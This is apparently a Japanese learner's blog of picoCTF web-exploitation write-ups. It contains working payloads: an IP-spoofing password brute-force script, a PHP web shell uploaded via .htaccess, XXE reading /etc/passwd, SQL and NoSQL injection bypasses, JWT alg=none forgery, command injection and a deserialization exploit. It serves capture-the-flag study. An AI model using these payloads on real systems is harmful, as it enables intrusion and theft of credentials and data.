picoCTF WebExploitation(Medium) Writeups

に公開

興味からCTFに入門しているので、その記事となります。

おいおい書き足して行く予定です。閲覧にはご注意ください。

Crack the Gate 2

  • あるIPで一度ログインに失敗した状態で、再度ログインしようとすると20分間リクエストが弾かれる
  • パスワードの候補はすでに用意されている(20通り)ので、IP制限を回避しつつ試行したい

対応

X-Forwarded-Forタグをヘッダに付与することで、IPの偽装が可能となる。

最初はBurpSuiteでリクエストごとにヘッダを付与していましたが、結局pythonで回す方針に落ち着きました。

(今やってみるとaddress_diffでインクリメントしなくてもできたので、curlで投げるだけでいいのかも)

import subprocess
f = open("passwords.txt", 'r')
address_diff = 1
for password in f:
    subprocess.call(['curl', '-X', 'POST','http://amiable-citadel.picoctf.net:50131/login', '-H', 'Content-Type: application/json', '-H', f'X-Forwarded-For: 127.0.0.{1 + address_diff}, 127.0.0.1','-H', 'Origin: http://amiable-citadel.picoctf.net:61505/login', '-d', f'{{"email":"ctf-player@picoctf.org", "password":"{password.strip()}"}}'])
    print()
    address_diff += 1

3v@l

  • pythonのevalを使って式評価をする送信フォームがある
    • 1+1と入力して送信すると画面に2が表示される
  • 送信の際、os,cat,execといった単語が含まれているとバリデーションエラーとなる
  • これらを回避しつつコード実行したい

自分が考えた対応(不正解)

とりあえずどこにフラグがあるが知りたいのでディレクトリ構造を検証したい

lsをなんとかして実行したい

osと書くとバリデーションに引っ掛かるがsubprocessは弾かれなさそう

__import__('subprocess').call(['cmd'])でいけるのでは

という考えでした。

ここで、cmd部分に直でlsと書くとダメなのでどうすべきか考え、unicode表記ならうまく行くんでは?と考えました。

で、次みたいな感じで投げてみました。

'\u006c\u0073\u0020\u002d\u006c\u0061'.decode()

がうまくいかない。

試行した感じ、''はオッケーですが'\'は正規表現で弾かれるみたい。ということで次にコードポイントで攻める方針を思いつきました。

__import__('subprocess').call([chr(108)+chr(115), chr(45)+chr(108)+chr(97)])

これはバリデーション通過しましたが、何も表示されない。

printで戻り値を見てみるとNoneになっている。

そもそも__import__('subprocess')の時点で戻り値がNoneになっている。

詰んだ。

正しい対応

どうも動的インポートは正しくなく、普通?にopen()を使えばよいみたいです。

(ここら辺は視点が足りていないということか)

最終的に以下で落ち着きました。

open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()

byp4ss3d

  • ファイルをサーバ内の所定フォルダにアップロードできるサイトがある
  • それによりサーバ内の情報を得たい
  • サーバはApacheである

対応

この問題の解き方は二段階に分かれます。

  1. サーバに設定ファイルをアップロードする
  2. ファイルに記述した設定を踏み台に元にコード実行する

まずApacheの設定ファイルとして.htaccessをアップロードします。

自分はそのようなファイルが存在していることは知っていましたが、具体的な設定項目等については知りませんでした。

一旦次のように書いてアップロードしてみます。

Options +Indexes

これでアップロードすると/imagesからサーバ内の情報が見れるようになりました。方針は合ってそうですね。

ただこれだけだと思いの外できることがないため、再度設定ファイルの見直しをしました。

そこで見つけたのがAddHandlerの項目で、これはファイル拡張子、ハンドラを指定することでその拡張子を持つファイルを所定のハンドラで処理するよう指示するというものです。(多分)

Upload時の処理はupload.phpが呼ばれていることは実行時に判明していたので、アップロードするファイル名をupload.phpにする?ということでやってみました。がこれはうまくいかず。

で、よくよく考えると、拡張子を.pngに設定+ハンドラをphpに設定し、画像に偽装したスクリプトを実行させればいいのでは?と思いつきました。

最終的に次のような形になりました。スクリプトが死ぬほど汚いですがご寛恕いただきたいです。

.htaccess
Require all granted
Options +Indexes
AddHandler application/x-httpd-php .png
script.png
<?php
$env = [];
$output01 = exec("ls -l", $env);
$text2 = implode("\n", $env);
echo '<pre>' . htmlspecialchars($text2, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array1 = [];
$output02 = exec("cd .. && ls -la", $array1);
$text3 = implode("\n", $array1);
echo '<pre>' . htmlspecialchars($text3, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array1 = [];
$output02 = exec("cd .. && cat index.php", $array1);
$text3 = implode("\n", $array1);
echo '<pre>' . htmlspecialchars($text3, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array = [];
$output03 = exec("cd .. && ls -la", $array);
$text = implode("\n", $array);
echo '<pre>' . htmlspecialchars($text, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array = [];
$output03 = exec("cd ../.. && cat flag.txt", $array);
$text = implode("\n", $array);
echo '<pre>' . htmlspecialchars($text, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array = [];
$output03 = exec("cd ../../.. && cat flag.txt", $array);
$text = implode("\n", $array);
echo '<pre>' . htmlspecialchars($text, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$output06 = exec("cd ../../../.. && ls -la");
echo "<pre>$output06</pre>";
$output06 = exec("cd ../../../.. && ls -la");
echo "<pre>$output06</pre>";
$output07 = exec("cd ../../../../.. && ls -la");
echo "<pre>$output07</pre>";
?>

スクリプト部分ですが、配列を渡して複数行に出る出力を拾えるようにしてあります(個人的沼りポイント)。

No Sql Injection

  • メールアドレスとパスワードの入力フォームと、サーバのソースコードが与えられる
  • データベースはmongoDBである
  • なんとかしてログインする

対応

ソースコードをみると、認証部分の実装は次のようになっています。

server.js
try {
  const user = await User.findOne({
    email:
      email.startsWith("{") && email.endsWith("}")
        ? JSON.parse(email)
        : email,
    password:
      password.startsWith("{") && password.endsWith("}")
        ? JSON.parse(password)
        : password,
  });

  if (user) {
    res.json({
      success: true,
      email: user.email,
      token: user.token,
      firstName: user.firstName,
      lastName: user.lastName,
    });
  } else {
    res.json({ success: false });
  }
} catch (err) {
  res.status(500).json({ success: false, error: err.message });
}

JSON.parseを使っているのがクサいですね。

またcatch時にエラーメッセージが出るようになっていて、実際に入力試行する際の誘導になっています。

これは

{"$ne":"a"}

とパスワードに設定することで、

{
    email: 'xxx',
    password: {
        $ne: "a"
    },
}

というように、パスワードの条件部分を上書きすることができます。

($ne: "a"password <> "a"と評価される)

また、Userのスキーマは次のようになっています。

server.js
const userSchema = new mongoose.Schema({
  email: { type: String, required: true, unique: true },
  firstName: { type: String, required: true },
  lastName: { type: String, required: true },
  password: { type: String, required: true },
  token: { type: String, required: false, default: "{{Flag}}" },
});

ここから、ログインすることが目的というより、ログイン時に返ってくるトークンが欲しいということがわかります。

これはBurpsuiteでレスポンスを確認することでも、開発者ツールからセッションストレージを見ることでも取得できます。

トークンはbase64エンコードされているので、デコードするとフラグが取得できます。

自分はNoSQL全くわからない民なので早々にギブアップしました。またフラグがエンコードされていることに気づかず途方に暮れていました。

SOAP

  • POST時にSOAPを使っているサイトがある
  • /etc/passwdを入手したい

対応

XXE(XML External Entity)の穴を衝きます。

SOAPはxml形式でデータをやり取りしますが、送信するxmlに外部実体宣言/実体参照を含めることで外部データの読み取りが可能となります。

(こちらの記事 が大変参考になります)

最終的に以下のcurlを送ると成功しました。

curl -X POST "http://saturn.picoctf.net:65272/data" \
-H "Content-Type: application/xml" \
-H "origin: http://saturn.picoctf.net.65272" \
-d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY aaa SYSTEM "file:///etc/passwd">]><data><ID>&aaa;</ID></data>'

SQLi

  • いかにもSQLインジェクションできそうなフォームがあるので攻撃する

第一関門の自分の方針(間違い)

username,passwordを設定してログインしようとすると画面にクエリが表示されるようになっています。

それで、最初以下のような入力を考えていました。

username: ') or ‘1'=‘1
password: ' or (‘a’=‘a
SQL query: SELECT id FROM users WHERE password = '' or ('a'='a' AND username = '') or '1'='1'

がうまくいかず詰みました。

第一関門の正しい方針

コメントアウトを使います。

username: a
password: ' or 'a'='a'--
SQL query: SELECT id FROM users WHERE password = '' or 'a'='a'-- AND username = 'a'

これにて第一関門突破です。

第二関門の自分の方針(間違い)

ログイン後、また別の検索フォームが出てきます。今度はオフィスの情報を検索、表示させているようです。カラムは3つです。

ひとまず習いのunion selectを投げてみます。前の学習からコメントアウトで攻め、対象テーブルはusersとしてみます。

'union select * from users --

するとadminの情報とパスワードが出てきました。

意気揚々とパスワードを提出してみますが不正解。終わりました。

第二関門の正しい方針

このDBエンジンにはSQLiteが使われています。

自分はほぼ触ったことがなかったので知らなかったのですが、MySQLやポスグレでいうinformation_schema相当のシステムテーブルがsqlite_masterとして存在していました。

試しに以下のクエリを投げてみると、

'union select type,type,tbl_name from sqlite_master --

DBに登録されているテーブル名が表示されました。

ヤマカンでmore_tableflagカラムを試してみると当たりました。

'union select flag,1,2 from more_table --

SQL Direct

  • ポスグレサーバにログインしてフラグを探す

対応

ひとまずテーブル名、カラム名を見てみます。

select table_name, column_name from information_schema.columns;

するとflagsというテーブルを発見。あれ?

selectしてみるとフラグをゲットできました。

Power Cookie

  • admin権限でリンクに遷移する

対応

開発者ツールでcookieを確認するとisAdminという値がセットされていたのでこれを書き換えれば良さそう。
Burpで書き換えてアクセスすればOKです。

Forbidden Paths

  • ファイル名をフォームに入力、送信すると内容が表示されるサイトがある
  • /flag.txtの内容を見たい

対応

相対パスを指定してあげるだけです。

../../../../flag.txt

JAuth

  • JWTを用いているログインフォームから、adminでログインする

対応

testユーザの情報があらかじめ与えられるので、まずはそれを使ってログインしてみます。

第一段階

するとcookieにJWT tokenが保存されています。

中身を確認します。

import base64

header = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9'
payload = 'eyJhdXRoIjoxNzYzNjE1MjkzMzY3LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xNDEuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzYzNjE1MjkzfQ'
sigunature = 'elMvSnpl5o3wyuZdJqMYzaUVpVZ6seReu1lHzbo6Pq8'
padding_header = '=' * (-len(header) % 4)
padding_payload = '=' * (-len(payload) % 4)
padding_signature = '=' * (-len(sigunature) % 4)
print(base64.urlsafe_b64decode(header + padding_header))
print(base64.urlsafe_b64decode(payload + padding_payload))
print(base64.urlsafe_b64decode(sigunature + padding_signature))

すると、次のような情報が得られます。(署名部分は省略)

b'{"typ":"JWT","alg":"HS256"}'
b'{"auth":1763615293367,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36","role":"user","iat":1763615293}'

ペイロード部分にroleプロパティがあるのが臭く、これをadminに変えてあげればいけそうです。

第二段階

ここからはJWTに関する知識が必要となります。

JWTの署名部分は、<Header>.<Payload>を、秘密鍵を用いて署名したものになります。

リクエストを受け付ける際、この署名と合わせて検証することでヘッダやペイロードが改竄されていないかを確認できます。

本来署名の検証はサーバ側で指定したアルゴリズムで行うべき(ヘッダで指定されているアルゴリズムを用いるべきではない)ですが、もしヘッダに書かれているアルゴリズムで検証する場合、この部分を書き換えることで検証方法を指定できます。

具体的には、alg:noneと指定することで検証を回避できます。(alg=none攻撃)

第三段階

まず、以下のようにトークンを書き換えます。

'{"typ":"JWT","alg":"none"}'
'{"auth":1763615293367,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36","role":"admin","iat":1763615293}'

これをbase64encodeします。

実際には有効期限があるためこれをコピペしてもうまくいかないです。

b'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0='
b'eyJhdXRoIjoxNzYzNjQ4Nzk0MDQ1LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xNDEuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc2MzY0ODc5NH0='

組み合わせてtokenを作ります。alg=noneの場合署名部分は空欄になります。

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoxNzYzNjQ4Nzk0MDQ1LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xNDEuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc2MzY0ODc5NH0.

最後に、testユーザで/privateを開き、cookieを改竄したものに差し替えて再読み込みすればOKです。

参考文献

以下の両記事を読んで勉強しました。

https://qiita.com/ockeghem/items/cc0b8ab74f46834d055b

https://www.akamai.com/ja/blog/security-research/owasp-authentication-threats-for-json-web-token

findme

  • ログイン画面があるのでログインする
  • 検索フォーム?のようなものがあるのでフラグを探す

対応

とりあえずusername=test,password=test!でログインしてみます。

(この時burpでリクエストを投げていて、next-page/id=xxxというページを2度遷移し、さらにタブタイトルがflagになっていることに気づいてはいました)

ログイン後、検索フォームっぽいものがあるので適当に値を打ち込んでみましたが変化なし。

そもそも書かれてるjs的に、あまりフラグと関係ないっぽい?

というわけで遷移ページのhtmlを眺めてみたがこれも特にヒントがなさそう。

と考えていると、二つ目のページidが==で終わっていることに気づき、これbase64では……とわかりました。

あとは二つのidをデコードして繋げてあげればOKです。

Roboto Sans

  • webサイト内に隠されたフラグを探す

自分の方針(間違い)

style.cssbanner_main {{Flag}}という文字列があったのでそこを中心に見ていました。

バナーに使われている画像にステガノグラフィが使われている?と考えて試行錯誤していましたが、全然手がかりが得られず詰みました。

正しい方針

robots.txtにアクセスし、そこに書かれている文字列をbase64デコードして表示されるパスにアクセスするだけ。

caas

  • execを使っているサイトがあるので攻撃する

対応

与えられているソースコードは以下になります。(一部略)

const { exec } = require('child_process');

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

実行したいコマンドをバッククォートで囲むことで実行が可能となります。

%60cat falg.txt%60

login

  • ログインフォームが与えられるのでログイン?する

対応

index.jsにパスワードがハードコードされています。

これをbase64decodeすればOKです。パディングが不足している場合は末尾に=を付け足します。

Secrets

  • サイトを探索する

方針

nginxが使われているので、.htaccessにアクセスするのではなさそう。robots.txtも違う。

開発者ツールで確認してみるとsecret/assetsというディレクトリ構造になっているので、secret/assetsを打ち込みますが違う。

次にsecretで試すとアクセスできました。

そういう感じね(伏黒甚爾)

あとは同じ要領でたどっていけばよいです。

最終的なパスは/secret/hidden/superhidden/となります。

Search source

  • webサイト内に隠されたフラグを探す

対応

style.css内に直書きされていました。

(これは roboto-sans を先にやっていたのが大きい)

Super Serial

  • ログイン画面があるのでフラグを探す

対応(第一段階)

手がかりを探すところから始めます。

サーバ情報やレスポンスを見てみてもあまり有益な情報がなさそうです。そこで設定ファイル系を漁ってみます。

習いあるrobots.txtを見てみると、次のような情報が引っ掛かりました。

Disallow: /admin.phps

(phpsというのはphpファイルを読み取り用として公開するファイルらしい。知らなかった)

ここでadmin.phpsを打ち込んでもNOT FOUNDとなりますが、index.phpsだとヒットします。

これにより認証処理部分のコードを読むことができ、ここまでが第一段階となります。

対応(第二段階)

コードを読むと、

  • permissionsというオブジェクトをシリアライズしloginとしてsetcookieしている
  • setcookie後、authentication.phpにリダイレクトしている

ことがわかります。

index.phps
<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
	$con = new SQLite3("../users.db");
	$username = $_POST["user"];
	$password = $_POST["pass"];
	$perm_res = new permissions($username, $password);
	if ($perm_res->is_guest() || $perm_res->is_admin()) {
		setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
		header("Location: authentication.php");
		die();
	} else {
		$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
	}
}
?>

require_onceでインポートされていることから、permissionscookie.phpで定義されていそうです。

そこでcookie.phpsauthentication.phpsを見てみます。

cookie.phps
session_start();

class permissions
{
	public $username;
	public $password;

	function __construct($u, $p) {
		$this->username = $u;
		$this->password = $p;
	}

	function __toString() {
		return $u.$p;
	}

	function is_guest() {
		$guest = false;

		$con = new SQLite3("../users.db");
		$username = $this->username;
		$password = $this->password;
		$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
		$stm->bindValue(1, $username, SQLITE3_TEXT);
		$stm->bindValue(2, $password, SQLITE3_TEXT);
		$res = $stm->execute();
		$rest = $res->fetchArray();
		if($rest["username"]) {
			if ($rest["admin"] != 1) {
				$guest = true;
			}
		}
		return $guest;
	}

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
	try{
		$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
		$g = $perm->is_guest();
		$a = $perm->is_admin();
	}
	catch(Error $e){
		die("Deserialization error. ".$perm);
	}
}

?>
authentication.php
<?php

class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
	$msg = "Welcome admin";
	$log = new access_log("access.log");
	$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
	$msg = "Welcome guest";
}
?>

access_logを用いてデシリアライゼーションの脆弱性をつきます。

注目すべきところはtoStringのマジックメソッドで、これが呼ばれると引数に指定したファイルを読み取って返すようになっています。

コードでは直接呼ばれていないですが、die("Deserialization error. ".$perm);にて、デシリアライズに失敗した時に呼ばれるようになっています。

よって次のような攻撃をするとよさそうです。

  1. ローカルでaccess.logのクラスを定義する
  2. 引数に読み取りたいファイル名(../flag)を指定しインスタンスを作成する
  3. インスタンスをシリアライズする
  4. シリアライズした文字列をクッキーに設定する
  5. /authentication.phpを開く

対応(第三段階)

シリアライズ部分の処理は

authentication.php
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));

となっているので、シリアライズの流れに気をつけると次のようになります。

local.php
<?php
require_once("cookie.php");
require_once("log.php");

$perm = new access_log('../flag');
echo urlencode(base64_encode(serialize($perm)));

これにより以下の文字列を得ることができました。

TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9

Web Gauntlet

  • SQLインジェクションする(5回)
  • username,passwordを入力する
  • クエリはselect * from users where username = <入力したusername> and password = <入力したpassword>
  • ラウンドが進むにつれて入力が弾かれる文字が増えていく

Round1

禁止文字: or

習いあるunion selectで攻めます。

ヒット数が1でないとこける?ようなのでlimit句で調整します。

usernameにa、passwordに' union select * from users limit '1とし、クエリ全体は以下のようになりました。

select * from users where username = 'a' and password = '' union select * from users limit '1'

Round2

禁止文字: or and like = --

Round1に同じ。

Round3

禁止文字: or and = like > < --

禁止文字的にRound2そのままでいけるのでは?と投げてみましたが弾かれてしまい、いくつか試した結果半角スペースが禁止文字に含まれているようでした。

困ったようですが、これは/**/で代用できます。

usernameにa、passwordに'union/**/select/**/*/**/from/**/users/**/limit'1とし、クエリ全体は以下のようになりました。

select * from users where username = 'a' and password = ''union/**/select/**/*/**/from/**/users/**/limit'1'

Round4

禁止文字: or and = like > < -- admin

Round3と同じ。

Round5

禁止文字: or and = like > < -- union admin

unionが使えなくなったことで、自分はここで手詰まりになりました。

exceptとかで代用できる?と考えてみましたがpasswordを指定しないといけないので無理そう。

adminという文字列はad||minのように書けばフィルタを回避できることまではわかったのですがそれをどう活かせばいいのかわかりませんでした。

カンニングしたところ、usernameにad'||'min';を、passwordに任意の文字で突破できるようです。(;以降でパースエラーにならないの?)

最終的なクエリは以下。

select * from users where username = 'ad'||'min'; and password = 'dummy'

Web Gauntlet 2

  • SQLインジェクションする(Web Gauntlet を参照)
  • 禁止文字:or and true false union like = > < ; -- /* */ admin

対応

セミコロンが禁止されているため一筋縄ではいかないです。

なのでpassword = trueとなるようにクエリを組みます。

usernameにad'||'min'を、passwordに' glob '*を指定すると、クエリが次のようになります。

select * from users where username = 'ad'||'min' and password ='' glob '*'

評価としては

password = ('' glob '*')

password = true

となります。

Web Gauntlet 3

対応

Web Gauntlet 2 と同じ。

It is my Birthday

  • pdfファイルのアップローダーが2つあるので、うまくアップロードしてログイン?する

対応

descriptionに重要情報が書かれています。

I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different!

いくつかpdfファイルのアップロードを試してみるとメッセージが表示されるのですが、↑の内容と合わせると、要は内容が違うが同じmd5 hashを持つpdfをアップロードしろということのようです。

これはググると出てきます。

https://www.johndcook.com/blog/2024/03/20/md5-hash-collision/

この文字列をコピーして.pdfで保存し、アップロードすればOKです。

SQLiLite

  • SQLインジェクションでログインする

対応

次のように、習いあるコメントアウトで突破できます。

username: ' or '1' = '1'--
password: a
SQL query: SELECT * FROM users WHERE name='' or '1' = '1'--' AND password='a'

Some Assembly Required

  • フラグを探す

対応

wasm側に書いてありました。

picobrowser

  • picobrowserというブラウザでサイトにアクセスする(?)

対応

普通にアクセスすると次のように表示されます。

You're not picobrowser! Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

これはリクエスト内のUser-Agentの値を表示しているので、ここをburpsuiteなりでpicobrowserに変えて送信すればOKです。

Irish-Name-Repo 1

  • サイトにログインする

対応

ログインフォームにアクセスし、開発者ツールで確認するとname=debugというフォームがあるのが見えます。

これが今回利用できそうです。

デフォルトでは0が指定されているので、curlで1を指定して叩いてみます。

 curl -X POST "http://fickle-tempest.picoctf.net:64552/login.php" -H \
"Content-Type: application/x-www-form-urlencoded" -d \
'username=a&password=1&debug=1'

すると、ログイン時に走るSQLが表示されました。(ログイン自体は失敗)

あとはいつものSQLインジェクションをすればログインできます。username' or '1'='1';--を指定して突破しました。

Irish-Name-Repo 2

  • サイトにログインする

対応

curlで叩くところまではIrish-Name-Repoと同じです。

前回と同じクエリでログインしようとすると、SQLi detectedと表示されて怒られました。

これは構文解析の時点でバリデーションが走っているようなので、何なら弾かれないか適当に打ち込んで調べたところ、

  • orunionだと弾かれないが、' or' unionのように前にシングルクォートがあると弾かれる
  • ↑について、コメント(--)だと弾かれない

となっていました。

いろいろ試しましたが、ヤマカンでadminがあるだろうと考え、username部分にadmin'--とすることでログインできました。

Irish-Name-Repo 3

  • サイトにログインする

対応

curlで叩くところまではIrish-Name-Repoと同じです。

今回はusername=adminが固定されているクエリとなっていました。

SELECT * FROM admin where password = '1'

password部分をインジェクションする必要がありますが、それっぽいものを試してみてもログインできず。

というより内部でエラーが起きている?

何度かSQLiteのスタックトレースが出てきたのですが、自分が入力した覚えのない文字列が表示されていたのでこれはなんだとなりました。

そこで'abcdeのような文字列を投げてみると、次のようなスタックトレースが表示されました。

Warning: SQLite3::query(): Unable to prepare statement: 1, near "nopqr": syntax error in /var/www/html/login.php on line 20

ここから、入力している文字列が11個ずれて適用されていると当たりをつけました。

それに沿うようにorを含めればログインできました。passwordは'be'1'='1となりました。

Who are you?

  • PicoBrowserというブラウザでサイトにアクセスする
  • ヒント文が表示されるのでそれを手掛かりにする

対応

以下、リクエストはcurlで投げます。

第一段階

ヒント文は次のようになっています。

Only people who use the official PicoBrowser are allowed on this site!

これはpicobrowserと同じく、User-Agent: picobrowserとすればよいです。

curl "http://mercury.picoctf.net:46199/" -H "User-Agent: picobrowser"

第二段階

次のヒント文は、I don't trust users visiting from another site.というものです。

どのページから来たかという情報を付与する必要があります。

Originを指定するのかと思いましたが、Refererを指定するのでいけました。

curl "http://mercury.picoctf.net:46199/" \
-H "User-Agent: picobrowser" \
-H "Referer: http://mercury.picoctf.net:46199"

第三段階

次はSorry, this site only worked in 2018.と出ました。

これは簡単で、Dateタグを付与すればいけます。(厳密に正しい日付かどうかは見ていない?)

curl "http://mercury.picoctf.net:46199/" \
-H "User-Agent: picobrowser" \
-H "Referer: http://mercury.picoctf.net:46199" \
-H "Date: Wed, 21 Oct 2018 07:28:00 GMT"

第四段階

I don't trust users who can be tracked.とのこと。

自分はここで詰まりました。

最初キャッシュを残さないようにするのか?とか、IPを偽装するのか?とかそういう方針でばかり考えていました。

が、これはDNTタグのことを表していました。(trackedってユーザートラッキング的な意味かい)

DNTの記事を読み、以下のようにすることで突破しました。

curl "http://mercury.picoctf.net:46199/" \
-H "User-Agent: picobrowser" \
-H "Referer: http://mercury.picoctf.net:46199" \
-H "Date: Wed, 21 Oct 2018 07:28:00 GMT" \
-H "DNT: 1"

第五段階

This website is only for people from Sweden.ということで、スウェーデンからのリクエストだと偽装する必要があります。

これは習いあるX-Forwarded-Forヘッダを偽装することでいけます。

スウェーデンのIP範囲をググり、適当に指定してあげればよいです。

curl "http://mercury.picoctf.net:46199/" \
-H "User-Agent: picobrowser" \
-H "Referer: http://mercury.picoctf.net:46199" \
-H "Date: Wed, 21 Oct 2018 07:28:00 GMT" \
-H "DNT: 1" \
-H "X-Forwarded-For: 104.142.187.15" \

第六段階

You're in Sweden but you don't speak Swedish?と出たので、言語コードをどこかで指定できる?とそれらしきヘッダを探すと、Accept-Languageの存在に辿り着きました。

よって以下のコードとなりました。

curl "http://mercury.picoctf.net:46199/" \
-H "User-Agent: picobrowser" \
-H "Referer: http://mercury.picoctf.net:46199" \
-H "Date: Wed, 21 Oct 2018 07:28:00 GMT" \
-H "DNT: 1" \
-H "X-Forwarded-For: 104.142.187.15" \
-H "Accept-Language: sv-SE"

なお自分は公式想定の第五→第六段階の順序で辿り着いたんですが、先に第六段階から埋めても変わらずThis website is only for people from Sweden.が出るのでつまづきポイントかもと感じました。

結果

What can I say except, you are welcome

疲れました。

Client-side-again

  • フラグを探す

対応

パスワードチェック部分の処理が書いてあります。

とりあえず整形します。

var _0x5a46 = ['daf93}', '_again_4', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function(_0x4bd822, _0x2bd6f7) {
    var _0xb4bdb3 = function(_0x1d68f6) {
        while (--_0x1d68f6) {
            _0x4bd822['push'](_0x4bd822['shift']());
        }
    };
    _0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));
var _0x4b5b = function(_0x2d8f05, _0x4b81bb) {
    _0x2d8f05 = _0x2d8f05 - 0x0;
    var _0x4d74cb = _0x5a46[_0x2d8f05];
    return _0x4d74cb;
};

function verify() {
    checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
    split = 0x4;
    if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {
        if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {
            if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {
                if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {
                    if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {
                        if (checkpass['substring'](0x6, 0xb) == 'F{not') {
                            if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {
                                if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {
                                    alert(_0x4b5b('0x8'));
                                }
                            }
                        }
                    }
                }
            }
        }
    } else {
        alert(_0x4b5b('0x9'));
    }
}

_0x5a46からヤマカンでフラグっぽいものを構築したら当たってしまいました。

Discussion